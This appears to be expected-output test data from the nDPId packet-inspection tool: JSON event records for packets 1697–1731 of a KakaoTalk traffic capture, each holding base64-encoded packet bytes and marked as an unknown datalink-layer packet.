+00453{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1697,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069196,"pkt_ts_usec":407782,"pkt_caplen":111,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":111,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoAF8AAEAAHRH9GwHJAa4KGFK8WgQsOABLx4WAbDKwfq6Ag1Sapdrjs1g24w8v1LM\/aCYg+R70NSNKVS4TyYL8DeOYS6msCZWmtIn3HzjTm9561VgXRCk6dFDo7ogF"} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1697,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00468{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1698,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069196,"pkt_ts_usec":408240,"pkt_caplen":121,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":121,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoAGkAAEAAHBH+EQHJAa4KGFK8WgYoHABVK3yAbFApiz8bGguGVRkUjPTebOA7Mt3tkeCWxW76LvkXxMuEKju27dgoX14aYMna1KfB+DvYXeZnZSgwxNVziE6SBQjkeHB1qjRmepgHmg=="} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1698,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00456{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1699,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069196,"pkt_ts_usec":408362,"pkt_caplen":112,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":112,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoAGAAAEAAHBH+GgHJAa4KGFK8WgYoHABMSe2AbFAviz8xmguGVRkkm3h4Ce0Leg45Duu8DiTR0nyZnhzwPszxczvA5R1ageNiw85tpStP661zv0XZu4k54N8xPtkG2w=="} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1699,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00455{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1700,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069196,"pkt_ts_usec":408484,"pkt_caplen":109,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":109,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoAF0AAEAAHBH+HQHJAa4KGFK8WgYoHABJTsqAbFAsiz8mWguGVRkvy2vHUbz7SvnPamh\/jqdQ5U14jAFM+ZXp\/9JaTXZ6O+vo\/bO0XlZyUdkCyA8Gqhn8mj8OXQ=="} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1700,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00450{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1701,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069196,"pkt_ts_usec":412024,"pkt_caplen":106,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":106,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoAFoAAEAAHBH+IAHJAa4KGFK8WgYoHABGAcqAbFAuiz8t2guGVRl6EHvfJoNYZjC\/pP8jXH4R\/JL6dJCVp6oOTqCPWNojn+WAipgxugdCfmGOTOb4pPOogQ=="} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1701,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00447{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1702,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069196,"pkt_ts_usec":413794,"pkt_caplen":105,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":105,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAFkAAEAAPxHbSQoYUrwByQGuLDhaBABFmqyAbFBZiz\/PGguGVRlUxcLK0lQqH50jt2fjBySiSPt7\/Touu1Swg\/Rnz9bbF7iDMAR0C+I3dTJ8wDg+9OQa"} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1702,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00469{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1703,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069196,"pkt_ts_usec":413977,"pkt_caplen":123,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":123,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoAGsAAEAAHRH9DwHJAa4KGFK8WgQsOABXdNKAbDKxfq6EQ1Sapdppmikl+59aEWkaFFRmDZe29U9722ffBcuikLB1+IvLL2vREoYZ4uITyp7lvCkO3R0grbhS+UlLVtm\/ZGC+HiEEc227"} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1703,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00448{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1704,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069196,"pkt_ts_usec":414496,"pkt_caplen":108,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":108,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoAFwAAEAAHRH9HgHJAa4KGFK8WgQsOABIjLSAbDK0fq6Pg1SapdpmKLFGlUV4GcJXkhFXpepo4U3td8qd0AOORR0XHV93fXENEIzzZDx0WqhKoffS88xUU9TE"} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1704,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00453{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1705,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069196,"pkt_ts_usec":415015,"pkt_caplen":111,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":111,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoAF8AAEAAHRH9GwHJAa4KGFK8WgQsOABLNAeAbDKzfq6Lw1SapdoQTgc1n2ANa85lgYM\/+6rxbkaYcf6tGsSUGuD2cCoL6dY8TaxZovM37xJdEvtGsCswwnX1sTtc"} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1705,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00454{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1706,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069196,"pkt_ts_usec":415930,"pkt_caplen":110,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":110,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoAF4AAEAAHBH+HAHJAa4KGFK8WgYoHABK+GeAbFAqiz8e2guGVRnqDfiVAWuH7szeMi6Nn6BAKPBaAHS5VbSgdlf7\/0VTNRCqWqXS39ZlHw2QRYLTH\/oEGMLo6kg="} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1706,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00453{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1707,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069196,"pkt_ts_usec":416053,"pkt_caplen":110,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":110,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoAF4AAEAAHBH+HAHJAa4KGFK8WgYoHABKsn6AbFAriz8imguGVRlX\/+3DCjnvW2zuhMa8AhXMYuO5mx11l6qe5w38j8T6uSTuPpTqQB4CKcclbhFSS4XWpQGTj3U="} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1707,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00453{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1708,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069196,"pkt_ts_usec":416144,"pkt_caplen":109,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":109,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoAF0AAEAAHBH+HQHJAa4KGFK8WgYoHABJmcSAbFAtiz8qGguGVRk4qkeGjuSFq9\/xWwFKQGaL8JQMnsgmKbIKnALuzHUXmdODq+tXU+pNvBEsBR3gdVZSfkKWag=="} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1708,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00449{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1709,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069196,"pkt_ts_usec":416236,"pkt_caplen":106,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":106,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoAFoAAEAAHRH9IAHJAa4KGFK8WgQsOABGdJOAbDKyfq6IA1SapdpFVjmqxLoohzeHMWWA0CP4BMgImpf5Iaq8+ElZe\/vxO1wCQU12ERUu+VEo26tXRV4ACQ=="} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1709,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00446{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1710,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069196,"pkt_ts_usec":417578,"pkt_caplen":104,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":104,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAFgAAEAAPxHbSgoYUrwByQGuLDhaBABEUkaAbFBaiz\/S2guGVRmXTXCEkNFMECbbjKl69TzvRGuIzdLq+l\/IneHxZr7zDoiJcsnazX2y36itl9kzjdI="} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1710,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00453{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1711,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069196,"pkt_ts_usec":417853,"pkt_caplen":111,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":111,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoAF8AAEAAHRH9GwHJAa4KGFK8WgQsOABLP+iAbDK1fq6TQ1SapdrGbO6v+BeE88JCwnu9v\/r5myMXg1QMBI25ncVSqKhbQPAT+NiiP+qNtWeTU91VbluPqf5L0Iiz"} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1711,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00435{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1712,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069196,"pkt_ts_usec":443305,"pkt_caplen":99,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":99,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAFMAAEAAQBHaTwoYUrwByQGuKBxaBgA\/dSWAbDLgfq80g1SapdqlsJKm+76gsYQrvVu9LbMGcF2BRrjK3HBTwDiUfqBhQT7zjZtRkqNSDdv+"} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1712,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00526{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1713,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069196,"pkt_ts_usec":448828,"pkt_caplen":163,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":163,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoAJMAAEAAHBH95wHJAa4KGFK8WgYoHAB\/n16AbFAwiz81WguGVRnnZyujB1X0irfLFTc7qGIoduNShF7gZdwzqr49quYsBtcfCDZBXSOg4IlkavIHTrhsGRPc3aoOgl4tvfYzkOWXU9\/ZbOM+pgIg1g6IqahrBHPYA4DvfWXRJPjXeOlhKfbxKAJqpSAmQ50fHA=="} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1713,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00440{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1714,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069196,"pkt_ts_usec":448981,"pkt_caplen":102,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":102,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoAFYAAEAAHRH9JAHJAa4KGFK8WgQsOABCc8WAbDK2fq6XA1SapdqXynlTgmDiPDXmGD6mcA3sBc23HKs0aZ+WQVGQC+JJ1smSqSStx90+g0AT3sVy"} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1714,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00436{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1715,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069196,"pkt_ts_usec":452918,"pkt_caplen":99,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":99,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoAFMAAEAAHRH9JwHJAa4KGFK8WgQsOAA\/t6qAbDK3fq6aw1SapdoTIjHTIi\/tZoIqe73BieAZaGDbvnf6azxV8ioqyw1M0qbcxCHaGaY8oHRb"} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1715,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00454{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1716,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069196,"pkt_ts_usec":459326,"pkt_caplen":110,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":110,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoAF4AAEAAHBH+HAHJAa4KGFK8WgYoHABKBlyAbFAxiz85GguGVRnWXoiOF6W4zmgxC0waZ\/ZydKW8rVpOVeKX3rie44fo2exJm\/XcNB4j2wevxV52lbXXUQxgiZs="} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1716,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00540{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1717,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069196,"pkt_ts_usec":488684,"pkt_caplen":177,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":177,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoAKEAAEAAHBH92QHJAa4KGFK8WgYoHACNn0eAbFAyiz882guGVRn0wdHL2WofNKZck0hqpP2heiVEzBfKrOTi4UrZzOf+4v5bZjb2TeRn4Hz3eoi8VuxzQc+tsWcVt9y2MpFffxpdW5A6GEJF1Ks9nY+4K1GysYra8Mu9DFFHJhqiUDglXiOdkdKyAVLy8ClVTnvcKsP6tVJ7CTlXsptC"} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1717,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00435{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1718,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069196,"pkt_ts_usec":499366,"pkt_caplen":99,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":99,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoAFMAAEAAHRH9JwHJAa4KGFK8WgQsOAA\/vLCAbDK4fq6eg1SapdoouyzgqV4WTLaA3wRh6VC6hBLMRajal+qvpQXbKrGHZsTiDErzGwZ00Img"} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1718,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00449{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1719,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069196,"pkt_ts_usec":512152,"pkt_caplen":107,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":107,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAFsAAEAAPxHbRwoYUrwByQGuLDhaBABHVK2AbFBbiz\/WmguGVRn5YtWG7IzeS+SHJZ31iV1sdQIqlsVuApHy5M31CYMNF8ZGmeFDngnglCIg6T6WhpBbJXg="} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1719,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00453{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1720,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069196,"pkt_ts_usec":518714,"pkt_caplen":111,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":111,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAF8AAEAAPxHbQwoYUrwByQGuLDhaBABLS2+AbFBciz\/aWguGVRndTwAQDUJwNow3ARK8UOScvv0TZXjukJOlWOquRGIgKWl5BdLWZHMI9KGO9JlsThQmnkG73q1y"} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1720,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00437{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1721,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069196,"pkt_ts_usec":522589,"pkt_caplen":99,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":99,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAFMAAEAAQBHaTwoYUrwByQGuKBxaBgA\/MZWAbDLhfq84Q1SapdoUCH5mCVbwO\/NCUAmEE5l7hoIFZhB4Bszmth1OCIJ\/bkd7SJvHM1Sw0b7t"} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1721,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00435{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1722,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069196,"pkt_ts_usec":563727,"pkt_caplen":99,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":99,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAFMAAEAAQBHaTwoYUrwByQGuKBxaBgA\/A3mAbDLifq88A1SapdqcGHQVgkqMkEct1aUKnpWUIuuNDsZGfMtNcqsPzNrpU7qhKhq1TNjUn2oh"} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1722,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00449{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1723,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069196,"pkt_ts_usec":623114,"pkt_caplen":106,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":106,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAFoAAEAAPxHbSAoYUrwByQGuLDhaBABGbZeAbFBdiz\/eGguGVRnYENxCaQNpBYgRAetqLDCn5L1IizVmXhA0nrLgg99mxt0pFuiOPYMSyrAMd8CHbFrJAg=="} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1723,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00453{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1724,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069196,"pkt_ts_usec":623664,"pkt_caplen":111,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":111,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAF8AAEAAQBHaQwoYUrwByQGuKBxaBgBLymyAbDLjfq8\/w1SapdptHQLiuYHpyamMfqWRVmwq1R79mV0wCJAhgfDpRwRnw7cBrVOo25rgBDGPZxWM92uYMNjpZN+V"} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1724,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00461{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1725,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069196,"pkt_ts_usec":662177,"pkt_caplen":117,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":117,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAGUAAEAAQBHaPQoYUrwByQGuKBxaBgBRrA6AbDLkfq9Dg1SapdpkC5TfSAEouup47XtlihG9vlTicCLq\/dZ9oqQCW1XD7rCrVRiv1LWP0yGDHXXbgmzTUIZyIn1OcGWAX6P8"} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1725,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00445{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1726,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069196,"pkt_ts_usec":716834,"pkt_caplen":104,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":104,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAFgAAEAAPxHbSgoYUrwByQGuLDhaBABEUr6AbFBeiz\/h2guGVRmH63ljADcmSoDcsYDgzl6HSX10D8CTgdlhAMLY6flZD2NJhV0ANDYoobJABH0NqXQ="} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1726,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00445{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1727,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069196,"pkt_ts_usec":717841,"pkt_caplen":104,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":104,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAFgAAEAAPxHbSgoYUrwByQGuLDhaBABEy++AbFBfiz\/lmguGVRlch4s6FEa2PvZtVTtR9vgCFuFK6J7LbZVJKEZ9HbaYybAYa+WHEnbU+ZyXmxBd8vU="} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1727,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00436{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1728,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069196,"pkt_ts_usec":727545,"pkt_caplen":99,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":99,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoAFMAAEAAHRH9JwHJAa4KGFK8WgQsOAA\/dOGAbDK5fq6iQ1SapdqjVx5HDnr\/wlUajASwbtj3ZH6imRw0npxGqDRUJewstHmTn+2bSf1ixmWT"} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1728,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00448{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1729,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069196,"pkt_ts_usec":728156,"pkt_caplen":108,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":108,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoAFwAAEAAHRH9HgHJAa4KGFK8WgQsOABIAoSAbDK7fq6pw1SapdpPXusixWd1xZD9vU0wXspLtjI3IoOjKp0nUkLk22N43eQ65ripfeB51bWD0ZWnHDSRXjXm"} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1729,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00435{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1730,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069196,"pkt_ts_usec":728705,"pkt_caplen":99,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":99,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoAFMAAEAAHRH9JwHJAa4KGFK8WgQsOAA\/vLKAbDK6fq6mA1SapdrYQ2POXR6F5NARaMsShIbEhst2EGZ6f6NvX2VgPhd6lZ7cBzWez1eRxNPH"} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1730,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00437{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1731,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069196,"pkt_ts_usec":729224,"pkt_caplen":99,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":99,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoAFMAAEAAHRH9JwHJAa4KGFK8WgQsOAA\/HdWAbDK8fq6tg1SapdqqUK3+ckfQPySZ+qCNGyxdkT3wy95RDJ\/RcnqzMfNomS\/naoafCcvjLbIn"} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1731,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} 